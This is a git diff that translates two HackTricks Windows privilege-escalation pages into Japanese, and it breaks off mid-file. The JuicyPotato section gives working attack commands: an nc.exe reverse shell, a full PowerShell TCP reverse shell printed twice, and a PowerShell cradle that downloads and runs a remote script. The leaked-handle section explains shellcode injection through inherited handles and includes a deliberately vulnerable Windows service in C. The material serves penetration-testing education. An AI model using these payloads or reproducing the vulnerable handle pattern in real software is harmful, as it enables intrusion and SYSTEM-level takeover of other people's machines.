[RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG): **Say hello to Juicy Potato**. +[RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG)を武器化することにしました:**Juicy Potato**をご紹介します。 -> For the theory, see [Rotten Potato - Privilege Escalation from Service Accounts to SYSTEM](https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/) and follow the chain of links and references. +> 理論については、[Rotten Potato - サービスアカウントからSYSTEMへの特権エスカレーション](https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/)を参照し、リンクと参照の連鎖をたどってください。 -We discovered that, other than `BITS` there are a several COM servers we can abuse. They just need to: +私たちは、`BITS`以外にも悪用できるいくつかのCOMサーバーがあることを発見しました。これらのサーバーは次の条件を満たす必要があります。 -1. be instantiable by the current user, normally a “service user” which has impersonation privileges -2. implement the `IMarshal` interface -3. run as an elevated user (SYSTEM, Administrator, …) +1. 現在のユーザーによってインスタンス化可能であること(通常は「サービスユーザー」で、模倣特権を持っています) +2. `IMarshal`インターフェースを実装すること +3. 昇格されたユーザー(SYSTEM、Administratorなど)として実行すること -After some testing we obtained and tested an extensive list of [interesting CLSID’s](http://ohpe.it/juicy-potato/CLSID/) on several Windows versions. +いくつかのテストの結果、いくつかのWindowsバージョンで興味深い[CLSIDのリスト](http://ohpe.it/juicy-potato/CLSID/)を取得し、テストしました。 -### Juicy details +### Juicyの詳細 -JuicyPotato allows you to: - -* **Target CLSID** _pick any CLSID you want._ [_Here_](http://ohpe.it/juicy-potato/CLSID/) _you can find the list organized by OS._ -* **COM Listening port** _define COM listening port you prefer (instead of the marshalled hardcoded 6666)_ -* **COM Listening IP address** _bind the server on any IP_ -* **Process creation mode** _depending on the impersonated user’s privileges you can choose from:_ - * `CreateProcessWithToken` (needs `SeImpersonate`) - * `CreateProcessAsUser` (needs `SeAssignPrimaryToken`) - * `both` -* **Process to launch** _launch an executable or script if the exploitation succeeds_ -* **Process Argument** _customize the launched process arguments_ -* **RPC Server address** _for a stealthy approach you can authenticate to an external RPC server_ -* **RPC Server port** _useful if you want to authenticate to an external server and firewall is blocking port `135`…_ -* **TEST mode** _mainly for testing purposes, i.e. testing CLSIDs. It creates the DCOM and prints the user of token. See_ [_here for testing_](http://ohpe.it/juicy-potato/Test/) - -### Usage +JuicyPotatoを使用すると、次のことができます。 +* **ターゲットのCLSID** _好きなCLSIDを選択します。_ [_ここ_](http://ohpe.it/juicy-potato/CLSID/) _でOSごとに整理されたリストを見つけることができます。_ +* **COMリスニングポート** _マーシャリングされたハードコードされた6666の代わりに、好きなCOMリスニングポートを定義します。_ +* **COMリスニングIPアドレス** _サーバーを任意のIPにバインドします。_ +* **プロセス作成モード** _模倣されたユーザーの特権に応じて、次から選択できます。_ +* `CreateProcessWithToken`(`SeImpersonate`が必要) +* `CreateProcessAsUser`(`SeAssignPrimaryToken`が必要) +* `both` +* **起動するプロセス** _エクスプロイトが成功した場合に実行する実行可能ファイルまたはスクリプトを起動します。_ +* **プロセス引数** _起動するプロセスの引数をカスタマイズします。_ +* **RPCサーバーアドレス** _ステルスアプローチのために、外部のRPCサーバーに認証することができます。_ +* **RPCサーバーポート** _外部サーバーに認証する場合に便利ですが、ファイアウォールがポート`135`をブロックしている場合..._ +* **テストモード** _主にテスト目的で使用します。つまり、CLSIDのテストです。DCOMを作成し、トークンのユーザーを表示します。テストについては_ [_こちらを参照してください_](http://ohpe.it/juicy-potato/Test/) +### 使用方法 ``` T:\>JuicyPotato.exe JuicyPotato v0.1 @@ -77,23 +75,21 @@ Optional args: -k : RPC server ip address (default 127.0.0.1) -n : RPC server listen port (default 135) ``` +### 最終的な考え -### Final thoughts +ユーザーが `SeImpersonate` または `SeAssignPrimaryToken` 特権を持っている場合、あなたは **SYSTEM** です。 -If the user has `SeImpersonate` or `SeAssignPrimaryToken` privileges then you are **SYSTEM**. +これらのすべての COM サーバーの乱用を防ぐことはほぼ不可能です。`DCOMCNFG` を介してこれらのオブジェクトのアクセス許可を変更することを考えることができますが、がんばってください、これは困難になるでしょう。 -It’s nearly impossible to prevent the abuse of all these COM Servers. You could think about modifying the permissions of these objects via `DCOMCNFG` but good luck, this is gonna be challenging. +実際の解決策は、`* SERVICE` アカウントで実行される機密アカウントとアプリケーションを保護することです。`DCOM` を停止すると、このエクスプロイトは確かに阻止されますが、基になる OS に重大な影響を与える可能性があります。 -The actual solution is to protect sensitive accounts and applications which run under the `* SERVICE` accounts. Stopping `DCOM` would certainly inhibit this exploit but could have a serious impact on the underlying OS. +参照元: [http://ohpe.it/juicy-potato/](http://ohpe.it/juicy-potato/) -From: [http://ohpe.it/juicy-potato/](http://ohpe.it/juicy-potato/) +## 例 -## Examples - -Note: Visit [this page](https://ohpe.it/juicy-potato/CLSID/) for a list of CLSIDs to try. - -### Get a nc.exe reverse shell +注意: 試すための CLSID のリストについては、[このページ](https://ohpe.it/juicy-potato/CLSID/)を参照してください。 +### nc.exe の逆シェルを取得する ``` c:\Users\Public>JuicyPotato -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c c:\users\public\desktop\nc.exe -e cmd.exe 10.10.10.12 443" -t * @@ -106,41 +102,72 @@ Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1337 c:\Users\Public> ``` - ### Powershell rev +Powershellのrev + +```powershell +$socket = New-Object System.Net.Sockets.TCPClient('10.10.10.10', 1234) +$stream = $socket.GetStream() +[byte[]]$bytes = 0..65535|%{0} +while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){ + $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i) + $sendback = (iex $data 2>&1 | Out-String ) + $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ' + $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2) + $stream.Write($sendbyte,0,$sendbyte.Length) + $stream.Flush() +} +$socket.Close() +``` + +Powershellのrev + +```powershell +$socket = New-Object System.Net.Sockets.TCPClient('10.10.10.10', 1234) +$stream = $socket.GetStream() +[byte[]]$bytes = 0..65535|%{0} +while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){ + $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i) + $sendback = (iex $data 2>&1 | Out-String ) + $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ' + $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2) + $stream.Write($sendbyte,0,$sendbyte.Length) + $stream.Flush() +} +$socket.Close() +``` ``` .\jp.exe -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.14.3:8080/ipst.ps1')" -t * ``` - -### Launch a new CMD (if you have RDP access) +### 新しいCMDを起動する(RDPアクセスがある場合) ![](<../../.gitbook/assets/image (37).png>) -## CLSID Problems +## CLSIDの問題 -Oftentimes, the default CLSID that JuicyPotato uses **doesn't work** and the exploit fails. Usually, it takes multiple attempts to find a **working CLSID**. To get a list of CLSIDs to try for a specific operating system, you should visit this page: +しばしば、JuicyPotatoが使用するデフォルトのCLSIDは**機能しない**ため、エクスプロイトが失敗します。通常、**動作するCLSID**を見つけるために複数の試行が必要です。特定のオペレーティングシステムに対して試すためのCLSIDのリストを取得するには、次のページを参照してください: {% embed url="https://ohpe.it/juicy-potato/CLSID/" %} -### **Checking CLSIDs** +### **CLSIDの確認** -First, you will need some executables apart from juicypotato.exe. +まず、juicypotato.exe以外のいくつかの実行可能ファイルが必要です。 -Download [Join-Object.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/utils/Join-Object.ps1) and load it into your PS session, and download and execute [GetCLSID.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/GetCLSID.ps1). That script will create a list of possible CLSIDs to test. +[Join-Object.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/utils/Join-Object.ps1)をダウンロードし、PSセッションにロードし、[GetCLSID.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/GetCLSID.ps1)をダウンロードして実行します。このスクリプトは、テストする可能性のあるCLSIDのリストを作成します。 -Then download [test\_clsid.bat ](https://github.com/ohpe/juicy-potato/blob/master/Test/test\_clsid.bat)(change the path to the CLSID list and to the juicypotato executable) and execute it. It will start trying every CLSID, and **when the port number changes, it will mean that the CLSID worked**. +次に、[test\_clsid.bat](https://github.com/ohpe/juicy-potato/blob/master/Test/test\_clsid.bat)(CLSIDリストとjuicypotato実行可能ファイルのパスを変更してください)をダウンロードして実行します。すべてのCLSIDを試し始め、**ポート番号が変わると、CLSIDが機能したことを意味します**。 -**Check** the working CLSIDs **using the parameter -c** +パラメータ -c を使用して、**動作するCLSIDを確認**します。
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
diff --git a/windows-hardening/windows-local-privilege-escalation/leaked-handle-exploitation.md b/windows-hardening/windows-local-privilege-escalation/leaked-handle-exploitation.md index f408b01e3..3ed83dc6d 100644 --- a/windows-hardening/windows-local-privilege-escalation/leaked-handle-exploitation.md +++ b/windows-hardening/windows-local-privilege-escalation/leaked-handle-exploitation.md @@ -1,39 +1,39 @@ -# Leaked Handle Exploitation +# リークしたハンドルの悪用
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
-## Introduction +## はじめに -Handles in a process allow to **access** different **Windows resources**: +プロセス内のハンドルは、さまざまな**Windowsリソースにアクセス**するためのものです。 ![](<../../.gitbook/assets/image (663) (1).png>) -There have been already several **privilege escalation** cases where a **privileged process** with **open and inheritable handles** have **run** an **unprivileged process** giving it **access to all those handles**. +特権のあるプロセスが**開いて継承可能なハンドルを持つ**ことで、特権のないプロセスがそれらのハンドルに**アクセス**できるという特権昇格のケースがすでにいくつかありました。 -For example, imagine that **a process running as SYSTEM open a new process** (`OpenProcess()`) with **full access**. The same process **also creates a new process** (`CreateProcess()`) **with low privileges but inheriting all the open handles of the main process**.\ -Then, if you have **full access to the low privileged process**, you can grab the **open handle to the privileged process created** with `OpenProcess()` and **inject a shellcode**. +たとえば、**SYSTEMとして実行されるプロセスが**(`OpenProcess()`) **完全なアクセス権**を持つ新しいプロセスを**開き**ます。同じプロセスはまた、**低い特権を持つ新しいプロセス**(`CreateProcess()`)を**作成**し、メインプロセスの**すべての開いているハンドルを継承**します。\ +その後、低い特権のプロセスに**完全なアクセス権**がある場合、`OpenProcess()`で作成された特権プロセスへの**開いているハンドル**を取得し、**シェルコードをインジェクト**することができます。 -## **Interesting Handles** +## **興味深いハンドル** -### **Process** +### **プロセス** -As you read on the initial example if an **unprivileged process inherits a process handle** of a **privileged process** with enough permissions it will be able to execute **arbitrary code on it**. +最初の例で読んだように、**特権のないプロセスが特権のあるプロセスのハンドル**を継承する場合、十分な権限を持つプロセスで**任意のコードを実行**することができます。 -In [**this excellent article**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/) you can see how to exploit any process handle that has any of the following permissions: +[**この優れた記事**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/)では、次のいずれかの権限を持つプロセスハンドルを悪用する方法を見ることができます: * PROCESS\_ALL\_ACCESS * PROCESS\_CREATE\_PROCESS @@ -41,66 +41,64 @@ In [**this excellent article**](http://dronesec.pw/blog/2019/08/22/exploiting-le * PROCESS\_DUP\_HANDLE * PROCESS\_VM\_WRITE -### Thread +### スレッド -Similar to the process handles, if an **unprivileged process inherits a thread handle** of a **privileged process** with enough permissions it will be able to execute **arbitrary code on it**. +プロセスハンドルと同様に、**特権のないプロセスが特権のあるプロセスのスレッドハンドル**を継承する場合、十分な権限を持つプロセスで**任意のコードを実行**することができます。 -In [**this excellent article**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/) you can also see how to exploit any process handle that has any of the following permissions: +[**この優れた記事**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/)では、次のいずれかの権限を持つプロセスハンドルを悪用する方法も見ることができます: * THREAD\_ALL\_ACCESS * THREAD\_DIRECT\_IMPERSONATION * THREAD\_SET\_CONTEXT -### File, Key & Section Handles +### ファイル、キー、セクションハンドル -If an **unprivileged process inherits** a **handle** with **write** equivalent **permissions** over a **privileged file or registry**, it will be able to **overwrite** the file/registry (and with a lot of **luck**, **escalate privileged**). +**特権のないプロセスが特権のあるファイルまたはレジストリの書き込み可能なハンドル**を継承する場合、ファイル/レジストリを**上書き**することができます(そして、非常に**運が良ければ特権昇格**も可能です)。 -**Section Handles** are similar to file handles, the common name of this kinds of [objects is **"File Mapping"**](https://docs.microsoft.com/en-us/windows/win32/memory/file-mapping). They are used to work with **big files without keeping the entire** file in memory. That makes the exploitation kind of "similar" to the exploitation of a File Handle. +**セクションハンドル**はファイルハンドルと似ており、この種のオブジェクトの一般的な名前は**「ファイルマッピング」**です([参考](https://docs.microsoft.com/en-us/windows/win32/memory/file-mapping))。これらは、メモリにファイル全体を保持せずに大きなファイルを扱うために使用されます。そのため、ファイルハンドルの悪用と「類似」した方法で悪用することができます。 -## How to see handles of processes +## プロセスのハンドルを表示する方法 ### Process Hacker -[**Process Hacker**](https://github.com/processhacker/processhacker) is a tool you can download for free. It has several amazing options to inspect processes and one of them is the **capability to see the handles of each process**. +[**Process Hacker**](https://github.com/processhacker/processhacker)は無料でダウンロードできるツールです。プロセスを調査するためのいくつかの素晴らしいオプションがあり、そのうちの1つは**各プロセスのハンドルを表示する機能**です。 -Note that in order to **see all the handles of all the processes, the SeDebugPrivilege is needed** (so you need to run Process Hacker as administrator). +すべてのプロセスのハンドルを表示するには、**SeDebugPrivilegeが必要**です(したがって、Process Hackerを管理者として実行する必要があります)。 -To see the handles of a process, right click in the process and select Handles: +プロセスのハンドルを表示するには、プロセスを右クリックしてハンドルを選択します: ![](<../../.gitbook/assets/image (651) (1).png>) -You can then right click on the handle and **check the permissions**: +その後、ハンドルを右クリックして**権限を確認**できます: ![](<../../.gitbook/assets/image (628).png>) ### Sysinternals Handles -The [**Handles** ](https://docs.microsoft.com/en-us/sysinternals/downloads/handle)binary from Sysinternals will also list the handles per process in the console: +[**Handles** ](https://docs.microsoft.com/en-us/sysinternals/downloads/handle)はSysinternalsのバイナリで、コンソールにプロセスごとのハンドルをリスト表示します: ![](<../../.gitbook/assets/image (654).png>) ### LeakedHandlesFinder -[**This tool**](https://github.com/lab52io/LeakedHandlesFinder) allows you to **monitor** leaked **handles** and even **autoexploit** them to escalate privileges. +[**このツール**](https://github.com/lab52io/LeakedHandlesFinder)を使用すると、リークしたハンドルを**監視**し、特権昇格のためにそれらを**自動的に悪用**することができます。 -### Methodology +### 方法論 -Now that you know how to find handles of processes what you need to check is if any **unprivileged process is having access to privileged handles**. In that case, the user of the process could be able to obtain the handle and abuse it to escalate privileges. +プロセスのハンドルを見つける方法を知ったので、確認する必要があるのは、**特権のないプロセスが特権のあるハンドルにアクセスしているかどうか**です。その場合、プロセスのユーザーはハンドルを取得して特権昇格を悪用することができる可能性があります。 {% hint style="warning" %} -It was mentioned before that you need the SeDebugPrivilege to access all the handles. But a **user can still access the handles of his processes**, so it might be useful if you want to privesc just from that user to **execute the tools with the user regular permissions**. - +前述のように、すべてのハンドルにアクセスするにはSeDebugPrivilegeが必要です。ただし、**ユーザーは自分のプロセスのハンドルにアクセスできる**ため、ユーザーの通常の権限でツールを実行する場合に便利です。 ```bash handle64.exe /a | findstr /r /i "process thread file key pid:" ``` {% endhint %} -## Vulnerable Example +## 脆弱な例 -For example, the following code belongs to a **Windows service** that would be vulnerable. The vulnerable code of this service binary is located inside the **`Exploit`** function. This function is starts **creating a new handle process with full access**. Then, it's **creating a low privileged process** (by copying the low privileged token of _explorer.exe_) executing _C:\users\username\desktop\client.exe_. The **vulnerability resides in the fact it's creating the low privileged process with `bInheritHandles` as `TRUE`**. - -Therefore, this low privileges process is able to grab the handle of the high privileged process crated first and inject and execute a shellcode (see next section). +たとえば、次のコードは脆弱な**Windowsサービス**に属しています。このサービスバイナリの脆弱なコードは、**`Exploit`**関数の中にあります。この関数は、**完全なアクセス権を持つ新しいハンドルプロセスを作成**します。次に、**低い特権のプロセス**(_explorer.exe_の低い特権トークンをコピーして)_C:\users\username\desktop\client.exe_を実行します。**脆弱性は、`bInheritHandles`を`TRUE`として低い特権プロセスを作成していることにあります**。 +したがって、この低い特権プロセスは、最初に作成された高い特権プロセスのハンドルを取得し、シェルコードを注入して実行することができます(次のセクションを参照)。 ```c #include #include @@ -116,207 +114,205 @@ HANDLE stopServiceEvent = 0; //Find PID of a proces from its name int FindTarget(const char *procname) { - HANDLE hProcSnap; - PROCESSENTRY32 pe32; - int pid = 0; - - hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); - if (INVALID_HANDLE_VALUE == hProcSnap) return 0; - - pe32.dwSize = sizeof(PROCESSENTRY32); - - if (!Process32First(hProcSnap, &pe32)) { - CloseHandle(hProcSnap); - return 0; - } - - while (Process32Next(hProcSnap, &pe32)) { - if (lstrcmpiA(procname, pe32.szExeFile) == 0) { - pid = pe32.th32ProcessID; - break; - } - } - - CloseHandle(hProcSnap); - - return pid; +HANDLE hProcSnap; +PROCESSENTRY32 pe32; +int pid = 0; + +hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); +if (INVALID_HANDLE_VALUE == hProcSnap) return 0; + +pe32.dwSize = sizeof(PROCESSENTRY32); + +if (!Process32First(hProcSnap, &pe32)) { +CloseHandle(hProcSnap); +return 0; +} + +while (Process32Next(hProcSnap, &pe32)) { +if (lstrcmpiA(procname, pe32.szExeFile) == 0) { +pid = pe32.th32ProcessID; +break; +} +} + +CloseHandle(hProcSnap); + +return pid; } int Exploit(void) { - - STARTUPINFOA si; - PROCESS_INFORMATION pi; - int pid = 0; - HANDLE hUserToken; - HANDLE hUserProc; - HANDLE hProc; - // open a handle to itself (privileged process) - this gets leaked! - hProc = OpenProcess(PROCESS_ALL_ACCESS, TRUE, GetCurrentProcessId()); +STARTUPINFOA si; +PROCESS_INFORMATION pi; +int pid = 0; +HANDLE hUserToken; +HANDLE hUserProc; +HANDLE hProc; - // get PID of user low privileged process - if ( pid = FindTarget("explorer.exe") ) - hUserProc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid); - else - return -1; - - // extract low privilege token from a user's process - if (!OpenProcessToken(hUserProc, TOKEN_ALL_ACCESS, &hUserToken)) { - CloseHandle(hUserProc); - return -1; - } +// open a handle to itself (privileged process) - this gets leaked! +hProc = OpenProcess(PROCESS_ALL_ACCESS, TRUE, GetCurrentProcessId()); - // spawn a child process with low privs and leaked handle - ZeroMemory(&si, sizeof(si)); - si.cb = sizeof(si); - ZeroMemory(&pi, sizeof(pi)); - CreateProcessAsUserA(hUserToken, "C:\\users\\username\\Desktop\\client.exe", - NULL, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi); +// get PID of user low privileged process +if ( pid = FindTarget("explorer.exe") ) +hUserProc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid); +else +return -1; - CloseHandle(hProc); - CloseHandle(hUserProc); - return 0; +// extract low privilege token from a user's process +if (!OpenProcessToken(hUserProc, TOKEN_ALL_ACCESS, &hUserToken)) { +CloseHandle(hUserProc); +return -1; +} + +// spawn a child process with low privs and leaked handle +ZeroMemory(&si, sizeof(si)); +si.cb = sizeof(si); +ZeroMemory(&pi, sizeof(pi)); +CreateProcessAsUserA(hUserToken, "C:\\users\\username\\Desktop\\client.exe", +NULL, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi); + +CloseHandle(hProc); +CloseHandle(hUserProc); +return 0; } void WINAPI ServiceControlHandler( DWORD controlCode ) { - switch ( controlCode ) { - case SERVICE_CONTROL_SHUTDOWN: - case SERVICE_CONTROL_STOP: - serviceStatus.dwCurrentState = SERVICE_STOP_PENDING; - SetServiceStatus( serviceStatusHandle, &serviceStatus ); +switch ( controlCode ) { +case SERVICE_CONTROL_SHUTDOWN: +case SERVICE_CONTROL_STOP: +serviceStatus.dwCurrentState = SERVICE_STOP_PENDING; +SetServiceStatus( serviceStatusHandle, &serviceStatus ); - SetEvent( stopServiceEvent ); - return; +SetEvent( stopServiceEvent ); +return; - case SERVICE_CONTROL_PAUSE: - break; +case SERVICE_CONTROL_PAUSE: +break; - case SERVICE_CONTROL_CONTINUE: - break; +case SERVICE_CONTROL_CONTINUE: +break; - case SERVICE_CONTROL_INTERROGATE: - break; +case SERVICE_CONTROL_INTERROGATE: +break; - default: - break; - } - SetServiceStatus( serviceStatusHandle, &serviceStatus ); +default: +break; +} +SetServiceStatus( serviceStatusHandle, &serviceStatus ); } void WINAPI ServiceMain( DWORD argc, TCHAR* argv[] ) { - // initialise service status - serviceStatus.dwServiceType = SERVICE_WIN32; - serviceStatus.dwCurrentState = SERVICE_STOPPED; - serviceStatus.dwControlsAccepted = 0; - serviceStatus.dwWin32ExitCode = NO_ERROR; - serviceStatus.dwServiceSpecificExitCode = NO_ERROR; - serviceStatus.dwCheckPoint = 0; - serviceStatus.dwWaitHint = 0; +// initialise service status +serviceStatus.dwServiceType = SERVICE_WIN32; +serviceStatus.dwCurrentState = SERVICE_STOPPED; +serviceStatus.dwControlsAccepted = 0; +serviceStatus.dwWin32ExitCode = NO_ERROR; +serviceStatus.dwServiceSpecificExitCode = NO_ERROR; +serviceStatus.dwCheckPoint = 0; +serviceStatus.dwWaitHint = 0; - serviceStatusHandle = RegisterServiceCtrlHandler( serviceName, ServiceControlHandler ); +serviceStatusHandle = RegisterServiceCtrlHandler( serviceName, ServiceControlHandler ); - if ( serviceStatusHandle ) { - // service is starting - serviceStatus.dwCurrentState = SERVICE_START_PENDING; - SetServiceStatus( serviceStatusHandle, &serviceStatus ); +if ( serviceStatusHandle ) { +// service is starting +serviceStatus.dwCurrentState = SERVICE_START_PENDING; +SetServiceStatus( serviceStatusHandle, &serviceStatus ); - // do initialisation here - stopServiceEvent = CreateEvent( 0, FALSE, FALSE, 0 ); +// do initialisation here +stopServiceEvent = CreateEvent( 0, FALSE, FALSE, 0 ); - // running - serviceStatus.dwControlsAccepted |= (SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN); - serviceStatus.dwCurrentState = SERVICE_RUNNING; - SetServiceStatus( serviceStatusHandle, &serviceStatus ); +// running +serviceStatus.dwControlsAccepted |= (SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN); +serviceStatus.dwCurrentState = SERVICE_RUNNING; +SetServiceStatus( serviceStatusHandle, &serviceStatus ); - Exploit(); - WaitForSingleObject( stopServiceEvent, -1 ); +Exploit(); +WaitForSingleObject( stopServiceEvent, -1 ); - // service was stopped - serviceStatus.dwCurrentState = SERVICE_STOP_PENDING; - SetServiceStatus( serviceStatusHandle, &serviceStatus ); +// service was stopped +serviceStatus.dwCurrentState = SERVICE_STOP_PENDING; +SetServiceStatus( serviceStatusHandle, &serviceStatus ); - // do cleanup here - CloseHandle( stopServiceEvent ); - stopServiceEvent = 0; +// do cleanup here +CloseHandle( stopServiceEvent ); +stopServiceEvent = 0; - // service is now stopped - serviceStatus.dwControlsAccepted &= ~(SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN); - serviceStatus.dwCurrentState = SERVICE_STOPPED; - SetServiceStatus( serviceStatusHandle, &serviceStatus ); - } +// service is now stopped +serviceStatus.dwControlsAccepted &= ~(SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN); +serviceStatus.dwCurrentState = SERVICE_STOPPED; +SetServiceStatus( serviceStatusHandle, &serviceStatus ); +} } void InstallService() { - SC_HANDLE serviceControlManager = OpenSCManager( 0, 0, SC_MANAGER_CREATE_SERVICE ); +SC_HANDLE serviceControlManager = OpenSCManager( 0, 0, SC_MANAGER_CREATE_SERVICE ); - if ( serviceControlManager ) { - TCHAR path[ _MAX_PATH + 1 ]; - if ( GetModuleFileName( 0, path, sizeof(path)/sizeof(path[0]) ) > 0 ) { - SC_HANDLE service = CreateService( serviceControlManager, - serviceName, serviceName, - SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS, - SERVICE_AUTO_START, SERVICE_ERROR_IGNORE, path, - 0, 0, 0, 0, 0 ); - if ( service ) - CloseServiceHandle( service ); - } - CloseServiceHandle( serviceControlManager ); - } +if ( serviceControlManager ) { +TCHAR path[ _MAX_PATH + 1 ]; +if ( GetModuleFileName( 0, path, sizeof(path)/sizeof(path[0]) ) > 0 ) { +SC_HANDLE service = CreateService( serviceControlManager, +serviceName, serviceName, +SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS, +SERVICE_AUTO_START, SERVICE_ERROR_IGNORE, path, +0, 0, 0, 0, 0 ); +if ( service ) +CloseServiceHandle( service ); +} +CloseServiceHandle( serviceControlManager ); +} } void UninstallService() { - SC_HANDLE serviceControlManager = OpenSCManager( 0, 0, SC_MANAGER_CONNECT ); +SC_HANDLE serviceControlManager = OpenSCManager( 0, 0, SC_MANAGER_CONNECT ); - if ( serviceControlManager ) { - SC_HANDLE service = OpenService( serviceControlManager, - serviceName, SERVICE_QUERY_STATUS | DELETE ); - if ( service ) { - SERVICE_STATUS serviceStatus; - if ( QueryServiceStatus( service, &serviceStatus ) ) { - if ( serviceStatus.dwCurrentState == SERVICE_STOPPED ) - DeleteService( service ); - } - CloseServiceHandle( service ); - 